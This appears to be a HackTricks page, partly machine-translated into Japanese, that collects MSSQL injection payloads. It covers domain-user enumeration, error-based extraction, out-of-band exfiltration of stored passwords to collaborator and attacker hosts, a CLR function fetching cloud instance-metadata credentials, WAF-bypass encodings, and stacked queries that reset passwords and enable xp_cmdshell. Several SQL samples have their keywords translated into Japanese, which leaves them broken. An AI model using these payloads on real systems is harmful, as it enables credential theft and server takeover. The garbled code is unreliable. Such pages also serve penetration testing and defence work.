MSSQLインジェクション
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Active Directory列挙
次のMSSQL関数を使用して、MSSQLサーバー内でSQLインジェクションを介してドメインユーザーを列挙することが可能です:
SELECT DEFAULT_DOMAIN()
: 現在のドメイン名を取得します。master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: ドメイン名(この例では_DOMAIN_)がわかっている場合、この関数はユーザーAdministratorのSIDを16進数形式で返します。これは0x01050000000[...]0000f401
のように見えます。最後の4バイトがビッグエンディアン形式で500という数値であり、これはユーザーadministratorの一般的なIDです。
この関数を使用すると、ドメインのIDを知ることができます(最後の4バイトを除くすべてのバイト)。SUSER_SNAME(0x01050000000[...]0000e803)
: この関数は、指定されたIDのユーザー名を返します(存在する場合)、この場合0000e803はビッグエンディアンで== 1000(通常、これは最初に作成された通常のユーザーIDのIDです)。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのユーザーのすべてのユーザー名を取得できると想像できます。たとえば、次のような関数を使用して:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
代替エラーベースのベクター
エラーベースのSQLインジェクションは通常、+AND+1=@@version--
のような構文や「OR」演算子に基づくバリエーションに似ています。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、%2b文字を使用して、求められるデータに対してデータ型変換エラーを引き起こす特定の関数呼び出しの結果と文字列を連結します。
このような関数のいくつかの例:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
関数USER_NAME()
の使用例:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
これらのSSRFトリックはここから取得されました
fn_xe_file_target_read_file
サーバー上で**VIEW SERVER STATE
**権限が必要です。
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
CONTROL SERVER
権限が必要です。
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
CONTROL SERVER
権限が必要です。
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
のようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内でのネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな例や投稿で示されているように、Out of Band Data exfiltrationでよく使用されます。
例えば、xp_dirtree
ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
この方法は、Windows Server 2016 Datacenter
上でデフォルト設定で動作しているMicrosoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
など、すべてのシステム構成で機能しない可能性があることに注意が必要です。
さらに、master..xp_fileexist
やxp_subdirs
のような代替ストアドプロシージャも、同様の結果を得ることができます。xp_fileexist
に関する詳細は、このTechNet記事で確認できます。
xp_cmdshell
明らかに、xp_cmdshell
を使用してSSRFを引き起こす何かを実行することもできます。詳細については、ページの関連セクションを読む:
1433 - Pentesting MSSQL - Microsoft SQL Server
MSSQL User Defined Function - SQLHttp
CLR UDF(共通言語ランタイムユーザー定義関数)を作成することは、任意の.NET言語で作成され、DLLにコンパイルされたコードをMSSQL内でカスタム関数を実行するためにロードするプロセスであり、dbo
アクセスが必要です。これは通常、データベース接続がsa
または管理者ロールで行われる場合にのみ実行可能です。
バイナリをCLRアセンブリとしてMSSQLにロードするためのVisual Studioプロジェクトとインストール手順は、このGithubリポジトリに提供されており、これによりMSSQL内からHTTP GETリクエストを実行できるようになります。
この機能の核心は、http.cs
ファイルにカプセル化されており、WebClient
クラスを使用してGETリクエストを実行し、以下のようにコンテンツを取得します:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
CREATE ASSEMBLY
SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することをお勧めします(select * from sys.trusted_assemblies;
で表示可能):
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
アセンブリを正常に追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
クイックエクスプロイト: 単一クエリでテーブル全体の内容を取得する
単一クエリでテーブルの全内容を抽出する簡潔な方法は、FOR JSON
句を利用することです。このアプローチは、特定のモード「raw」を必要とするFOR XML
句を使用するよりも簡潔です。FOR JSON
句は、その簡潔さから好まれます。
現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAF Bypass with unorthodox stacked queries
According to this blog post it's possible to stack queries in MSSQL without using ";":
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
使用 [tempdb]
テーブル [test] を作成 ([id] int)
[テスト] に値を挿入 (1)
[テスト] から [id] を選択
テーブル [test] を削除
Can be reduced to:
使用[tempdb]作成/**/テーブル[test]([id]int)挿入[test]値(1)選択[id]から[test]削除/**/テーブル[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# 無駄な exec() を最後に追加し、WAF にこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# 奇妙に構築されたクエリの使用
admin'exec('update[users]set[password]=''a''')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# または xp_cmdshell を有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--